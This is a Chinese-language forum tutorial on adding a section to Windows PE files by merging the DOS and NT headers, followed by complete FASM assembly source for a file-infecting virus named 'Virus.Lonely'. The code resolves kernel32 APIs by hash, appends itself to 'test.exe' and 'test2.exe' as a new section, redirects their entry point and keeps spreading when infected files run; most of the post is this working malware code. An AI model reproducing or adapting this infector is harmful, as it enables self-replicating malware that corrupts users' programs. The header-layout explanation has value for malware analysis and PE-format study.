1.4 - 1.变形PE头添加节形式感染。


  很抱歉最近出了趟远门,昨天星期2才回来,今天下午给大家更新下文章。


  前言:

  今天我们讲的主题是“变形PE头添加节形式感染”。因为大部分的添加节过程,在对节表结构尾部空隙不够写入一个新的节表结构时,都处理的不是很恰当。今天我来给大家带来一种思路,通过变形PE头来让我们有足够的空隙写入一个新的节表结构。


1. 变形PE头原理:

  这里的变形PE头的思路是用的比较方便的方法,就是将结构融合起来。聪明的你是否已经想到了? 就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员。是不是很绕?没关系,我们继续往下看。

  
  一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic   (2).e_lfanew。其他的成员PE LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。 空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及 节表结构尾部还存在一些空隙,呵呵这对我们写

入一个新的节表结构是足足有余的。

  我们如何融合IMAGE_DOS_HEADER和IMAGE_NT_HEADER呢?

  首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列 使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。 我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。

  我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是在IMAGE_NT_HEADER前补12个字节,这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是(1).e_magic   (2).e_lfanew。所以我们将前12个字节中的前两个字节写入'MZ', 然后将BaseOfData中的偏移
写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了。

    给大家一个更直观的感受,我们看下变形后PE头结构部分成员排布的情况。如下图

  
       

    
2. 变形PE头添加节实现过程

  当然我们的添加节过程是要在宿主程序的节表结构尾部空隙不够写入一个新的节表结构时变形PE头然后写入节表结构,所以我们要判断下。这里给出一个我实现后的过程。

代码:
;++
 ;
 ; int
 ;   AddSectionTable(
 ;    pByte pMemory
 ;    DWORD dwLen
 ;   )
 ;
 ; Routine Description:
 ;
 ;    变形PE头添加节函数
 ;
 ; Arguments:
 ;
 ;   (esp)   - return address
 ;
 ;   [esp+4*8+4*1] - pMemory
 ;
 ;   [esp+4*8+4*2] - dwLen
 ;
 ; Return Value:
 ;
 ;    eax = New Section PhysicalOffset, 0
 ;    edx = New Section VirtualOffset
 ;  
 ;--
 
 AddSectionTable:
   pushad
   mov  ebx, [esp+4*8+4*1]
   mov  esi, ebx
   add  esi, [esi+3ch]
   
   ;++ 
   ; edi = Section Table
   movzx  ecx, word [esi+IMAGE_FILE_HEADER.SizeOfOptionalHeader+4]
   lea  edi, dword [esi+ecx+4+sizeof.IMAGE_FILE_HEADER]
   ;--
   
   ;++
   ; Clear Bound Import Entry
   lea  edx, [esi+74h]
   cmp  dword [edx], 10h
   jl  .GoSectionTable
   mov  dword [edx+4+11*8], 0 
   ;--
   
  .GoSectionTable:
   ;++ 
   ; edx = First Section Offset 
   ; edi = Last  Section Table Offset
   mov  edx, [edi+IMAGE_SECTION_HEADER.PointerToRawData]
   add  edx, ebx
   movzx  ecx, word [esi+IMAGE_FILE_HEADER.NumberOfSections+4]
   imul  ecx, ecx, sizeof.IMAGE_SECTION_HEADER
   add  edi, ecx
   ;-- 
   
   ;++ 
   ; Expand PE Header Struct
   ; BaseOfData equ .lfanew
   push  edx
   mov  eax, edi
   sub  edx, eax
   cmp  edx, sizeof.IMAGE_SECTION_HEADER
   pop  edx
   jge  .AddSectionTable
   
   ; Test Expand Is Exist
   cmp  word [ebx+0ch], 'PE'
   jnz  .Expand
   xor  eax, eax
   mov  [esp+pushad_eax], eax
   jmp  .Result
   
 .Expand:
   sub  eax, esi
   xchg  eax, ecx
   pushad
   lea  edi, [ebx+0ch]
   mov  dword [esp+pushad_esi], edi 
   cld
   rep  movsb
   mov  dword [esp+pushad_edi], edi
   
   sub  edx, edi
   xchg  ecx, edx
   xor  eax, eax
   rep  stosb
   popad
   
   mov  dword [ebx+3ch], 0ch
   ;--
   
 .AddSectionTable:
   ; Inc    Num
   inc  word [esi+06h]
   
   ; Sectio Name
   mov  dword [edi], '.xfi'
   mov  word [edi+4], 'sh'
   
  ; Physical size
  push  dword [esp+4*8+4*2]
  pop  dword [edi+10h]
  
  ; Physical offset
  lea  edx, [edi-28h]
   mov  eax, [edx+14h]
   mov  ecx, [edx+10h]
   add  eax, ecx
   mov  dword [edi+14h], eax
   mov  dword [esp+pushad_eax], eax
   
   ; Virtual size
   push  dword [esp+4*8+4*2]
  pop  dword [edi+8h]
  
  ; Virtual offset 
  push  dword [esi+50h]
  pop  eax
  mov  dword [edi+0ch], eax
  mov  [esp+pushad_edx], eax
  
   ; Flags
  mov  dword [edi+24h], 0E0000020h
   
   ; SizeOfImage
   mov  ecx, [edi+08h]
   add  ecx, [edi+0ch]
   mov  dword [esi+50h], ecx
   
 .Result:
   popad
   retn  4*2

  那么我们今天这篇文章的主题是变形PE头添加节形式感染,那么我们当然少不了感染过程了。添加节感染,我想我就不用太多重复了,因为普通的添加节文章太多太多了。所以这里我直接给出一段利用变形PE头添加节感染的代码Demo,这段Demo代码程序运行后会感染当前目录下的'test.exe',感染后的程序会在运行的时候会继续感染当前目录的'test2.exe'并有一个消息框提示给用户, 由于是一个Demo,所以没有做全盘感染以及感染标记。

  大家可以随便copy一个文件到此病毒程序的当前目录下为test.exe来做测试。

代码:
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;
;  Virus.Lonely  By: xfish
;    
;  (c)2009-05-20  
;      --- Lonely xfish.  Email: AntiAntiWorm@Gmail.com
;      --- thanks 29a, pediy, hacker.com.cn 
;-----------------------------------------------------------------------------

  format PE GUI 4.0
  include 'win32ax.inc'
  entry  Virus_Entry
  
  
section '.Lonely' code readable writeable executable

 Virus_Entry:
   pushad
  call  Dels
  int  3
  int  3
  int  3
 Dels:
  pop  ebp
  sub  ebp, Dels-2*3
  
  ; kernel32
  call  GetKrnlBase
  
  lea  edi, [ebp+dwFunc]
  push  edi
  push  eax
  call  GetFuncAddress
  
  @pushsz  'user32'
  call  [edi + _LoadLibray-dwFunc]
  
  push  edi
  push  eax
  call  GetFuncAddress
  
  test  ebp, ebp
  jz  .Inject
  
  push  0
  @pushsz  'Virus Demo'
  @pushsz  'by:xfish http://www.pediy.com http://www.hacker.com.cn'
  push  0
  call  [edi + _MessageBox-dwFunc]
  
  push  dword [ebp+JmpHost+1]
  pop  dword [esp+pushad_eax]
  
  @pushsz  'test2.exe'
  call  Inject
  popad
  
  push  eax
  retn
  
 .Inject:
  @pushsz  'test.exe'
  call  Inject
  popad
  retn


 ;++
 ;
 ; int
 ;   GetKrnlBase(
 ;    void
 ;   )
 ;
 ; Routine Description:
 ;
 ;    获得kernel32基地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;
 ;
 ; Return Value:
 ;
 ;    eax =  krnlbase
 ;
 ;--
 GetKrnlBase:
    sub  eax, eax
    mov  eax, [fs:eax+30h]
    test  eax, eax
    js  .Os9x
   mov  eax, [eax+0ch]
   mov  eax, [eax+1ch]
   mov  eax, [eax]
  mov  eax, [eax+8h]
  jmp  .Result
  .Os9x:
    mov   eax, [eax+34h]
   lea   eax, [eax+7ch]
   mov   eax, [eax+3ch]
  .Result:
    retn
    
 ;++
 ;
 ; int
 ;   GetFuncAddress
 ;    int hModule,
 ;    int pHashStringList
 ;   )
 ;
 ; Routine Description:
 ;
 ;   获取Hash API地址
 ;
 ; Arguments:
 ;
 ;    (esp)          - return address
 ;    (esp+4*8+4)    - hModule
 ;    (esp+4*8+8)    - pHashStringList
 ;
 ; Return Value:
 ;
 ;    nothing
 ;
 ;--
 GetFuncAddress:
  pushad
  mov  ebx, [esp+4*8+4]  
  mov  edx, [ebx+3ch]    
  mov  esi, [ebx++edx+78h]  
  lea  esi, [esi+ebx+18h]  
  lodsd
  xchg  eax, ecx
  lodsd
  add  eax, ebx
  xchg  eax, ebp    
  lodsd
  add  eax, ebx    
  xchg  eax, edx    
  lodsd
  add  eax, ebx
  push  eax      
  
  mov  esi, edx
 .Next_Func:
   lodsd
   add  eax, ebx
   
   ; Make Func Hash
   xor     edx, edx
 .Make_Hash:
    rol  edx, 3
    xor     dl, byte [eax]
  inc     eax
  cmp     byte [eax], 0
  jnz  .Make_Hash
  
  mov     eax, [esp]
  add  dword [esp], 2

  mov  edi, [esp+4*8+8+4]
 .Scan_Dw_Funcs:
  cmp  dword [edi], edx
  jnz  .Next_List
  
  movzx  eax, word [eax]
  mov  eax, [ebp+eax*4]
  add  eax, ebx
  scasd
  stosd
  jmp  .Ret
    
 .Next_List:
  scasd
  scasd
  cmp  dword [edi], 0
  jne  .Scan_Dw_Funcs
 .Ret:
  loop    .Next_Func
  pop  ecx
  popad
  retn   4*2
    
 ;++
 ;
 ; CF
 ;   IsPe(
 ;    pByte pMemory
 ;   )
 ;
 ; Routine Description:
 ;
 ;    测试是否是PE文件
 ;
 ; Arguments:
 ;
 ;   (esp)   - return address
 ;
 ;   [esp+4] - pMemory
 ;
 ; Return Value:
 ;
 ;    eax -- NewSection Physical offset
 ;    eax -- 0
 ;--
 
 IsPe:
   mov  edx, [esp+4]
   cmp  word [edx], 'MZ'
   jnz  .RetFalse
   add  edx, [edx+3ch]
   cmp  word [edx], 'PE'
   jnz  .RetFalse
   
  .RetTrue:  
   stc
   retn  4*1
   
  .RetFalse:
    clc
    retn  4*1
 
 ;++
 ;
 ; CF
 ;   IsFileType(
 ;    LPCTSTR lpFileName
 ;   )
 ;
 ; Routine Description:
 ;
 ;    测试文件类型是否是32位二进制文件
 ;
 ; Arguments:
 ;
 ;   (esp)   - return address
 ;
 ;   [esp+4] - lpFileName
 ;
 ; Return Value:
 ;
 ;    CF -- 1, = TRUE.
 ;
 ;--
 
 IsFileType:
   push  0
   push  esp
   push  dword [esp+4*2+4]
   call  dword [ebp + _GetBinaryType]
   pop  eax
   ; 32BIT_BINARY = 0
   test  eax, eax
   jne  .RetFalse
   
  .RetTrue:
    stc
    retn  4*1
    
  .RetFalse:
    clc
    retn  4*1
 
 ;++
 ;
 ; void
 ;   Inject(
 ;    LPCTSTR lpFileName
 ;   )
 ;
 ; Routine Description:
 ;
 ;    感染文件
 ;
 ; Arguments:
 ;
 ;   (esp)   - return address
 ;
 ;   [esp+4] - lpFileName
 ;
 ; Return Value:
 ;
 ;    nothing
 ;
 ;--
 
 Inject:
   pushad
   mov  esi, [esp+4*8+4*1]
   
   ;++
   ; Is File Pe Format
   push  esi
   call  IsFileType
   jnc  .Result
   ;--
   
   sub  eax, eax
   push  eax
   push  eax
   push  OPEN_EXISTING
   push  eax
   push  FILE_SHARE_WRITE
   push  GENERIC_READ or GENERIC_WRITE
   push  esi
   call  [ebp + _CreateFile]
   cmp  eax, -1
   jz  .Result
   
   xchg  eax, ebx
   
   push  0
   push  ebx
   call  [ebp + _GetFileSize]
   
   push  eax
   ;
   push  PAGE_READWRITE
   push  MEM_COMMIT
   push  eax
   push  0
   call  [ebp + _VirtualAlloc]
   ;
   pop  edx
   test  eax, eax
   jz  .CloseHandle
   
   xchg  eax, edi
   mov  dword [ebp + .FreeSize], edx
   
   push  0
   push  esp
   push  dword [ebp + .FreeSize]
   push  edi
   push  ebx
   call  [ebp + _ReadFile]
   test  eax, eax
  jz  .FreeMem
   
   push  edi
   call  IsPe
   jnc  .FreeMem
   
   push  Virus_Len
   push  edi
   call  AddSectionTable
   test  eax, eax
   jz  .FreeMem
   
   ;++ Update Oep, Write JmpHost 
  mov  eax, edi
  add  eax, [eax+3ch]
  mov  ecx, edx
  xchg  ecx, [eax+28h]
  add  ecx, [eax+34h]
  mov  dword [ebp + JmpHost+1], ecx
  ;--
   
  push  FILE_BEGIN
  push  0
  push  0
  push  ebx
  call  [ebp+ _SetFilePointer]
  
  push  0
  push  esp
  lea  eax, [ebp + .FreeSize]
  push  dword [eax]
  push  edi
  push  ebx
  call  [ebp + _WriteFile]
  test  eax, eax
  jz  .FreeMem
  
  push  FILE_END
  push  0
  push  Virus_Len
  push  ebx
  call  [ebp + _SetFilePointer]
  
  push  ebx
  call  [ebp + _SetEndOfFile]
  
  
  push  FILE_CURRENT
  push  0
  push  -(Virus_Len)
  push  ebx
  call  [ebp + _SetFilePointer]
  
  push  0
  push  esp
  push  Virus_Len
  lea  eax, [ebp + Virus_Entry]
  push  eax
  push  ebx
  call  [ebp + _WriteFile]
  test  eax, eax
  jz  .FreeMem
  
  .FreeMem:
  push  MEM_DECOMMIT
        .FreeSize = $ + 1
  push  $
  push  edi
  call  [ebp + _VirtualFree]
  
  .CloseHandle:
    push  ebx
    call  [ebp + _CloseHandle]  
   
  .Result:
   popad
   retn  4*1
 
 
 ;++
 ;
 ; int
 ;   AddSectionTable(
 ;    pByte pMemory
 ;    DWORD dwLen
 ;   )
 ;
 ; Routine Description:
 ;
 ;    添加节函数
 ;
 ; Arguments:
 ;
 ;   (esp)   - return address
 ;
 ;   [esp+4*8+4*1] - pMemory
 ;
 ;   [esp+4*8+4*2] - dwLen
 ;
 ; Return Value:
 ;
 ;    eax = New Section PhysicalOffset, 0
 ;    edx = New Section VirtualOffset
 ;  
 ;--
 
 AddSectionTable:
   pushad
   mov  ebx, [esp+4*8+4*1]
   mov  esi, ebx
   add  esi, [esi+3ch]
   
   ;++ 
   ; edi = Section Table
   movzx  ecx, word [esi+IMAGE_FILE_HEADER.SizeOfOptionalHeader+4]
   lea  edi, dword [esi+ecx+4+sizeof.IMAGE_FILE_HEADER]
   ;--
   
   ;++
   ; Clear Bound Import Entry
   lea  edx, [esi+74h]
   cmp  dword [edx], 10h
   jl  .GoSectionTable
   mov  dword [edx+4+11*8], 0 
   ;--
   
  .GoSectionTable:
   ;++ 
   ; edx = First Section Offset 
   ; edi = Last  Section Table Offset
   mov  edx, [edi+IMAGE_SECTION_HEADER.PointerToRawData]
   add  edx, ebx
   movzx  ecx, word [esi+IMAGE_FILE_HEADER.NumberOfSections+4]
   imul  ecx, ecx, sizeof.IMAGE_SECTION_HEADER
   add  edi, ecx
   ;-- 
   
   ;++ 
   ; Expand PE Header Struct
   ; BaseOfData equ .lfanew
   push  edx
   mov  eax, edi
   sub  edx, eax
   cmp  edx, sizeof.IMAGE_SECTION_HEADER
   pop  edx
   jge  .AddSectionTable
   
   ; Test Expand Is Exist
   cmp  word [ebx+0ch], 'PE'
   jnz  .Expand
   xor  eax, eax
   mov  [esp+pushad_eax], eax
   jmp  .Result
   
 .Expand:
   sub  eax, esi
   xchg  eax, ecx
   pushad
   lea  edi, [ebx+0ch]
   mov  dword [esp+pushad_esi], edi 
   cld
   rep  movsb
   mov  dword [esp+pushad_edi], edi
   
   sub  edx, edi
   xchg  ecx, edx
   xor  eax, eax
   rep  stosb
   popad
   
   mov  dword [ebx+3ch], 0ch
   ;--
   
 .AddSectionTable:
   ; Inc    Num
   inc  word [esi+06h]
   
   ; Sectio Name
   mov  dword [edi], '.xfi'
   mov  word [edi+4], 'sh'
   
  ; Physical size
  push  dword [esp+4*8+4*2]
  pop  dword [edi+10h]
  
  ; Physical offset
  lea  edx, [edi-28h]
   mov  eax, [edx+14h]
   mov  ecx, [edx+10h]
   add  eax, ecx
   mov  dword [edi+14h], eax
   mov  dword [esp+pushad_eax], eax
   
   ; Virtual size
   push  dword [esp+4*8+4*2]
  pop  dword [edi+8h]
  
  ; Virtual offset 
  push  dword [esi+50h]
  pop  eax
  mov  dword [edi+0ch], eax
  mov  [esp+pushad_edx], eax
  
   ; Flags
  mov  dword [edi+24h], 0E0000020h
   
   ; SizeOfImage
   mov  ecx, [edi+08h]
   add  ecx, [edi+0ch]
   mov  dword [esi+50h], ecx
   
 .Result:
   popad
   retn  4*2
   

 ;++
 JmpHost:
   push  $
   retn
 ;--
   
 ;++++++++++++++++++++++++++++++++++++++++++++++++++
 dwFunc:
         dd  0C0D6D616h
   _CloseHandle    dd  0
   
         dd  038C62A7Ah
   _CreateFile    dd  0
   
         dd  0ABD10842h
   _GetBinaryType    dd  0
   
         dd  09554EFE7h
   _GetFileSize    dd  0
   
         dd  00BE25545h
   _ReadFile    dd  0
   
         dd  0A97175F9h
   _SetEndOfFile    dd  0
   
         dd  0A9D1FD70h
   _SetFilePointer    dd  0
         
         dd  0AB16D0AEh
   _VirtualAlloc    dd  0
   
         dd  0B562D3DBh
   _VirtualFree    dd  0
   
         dd  058D8C545h
   _WriteFile    dd  0
   
         dd  0A412FD89h
   _LoadLibray    dd  0
   
         dd  014D14C51h
   _MessageBox    dd  0
 ;-------------------------------------------------

 Virus_Len = $ - Virus_Entry
上传的附件 src.rar [解压密码:pediy]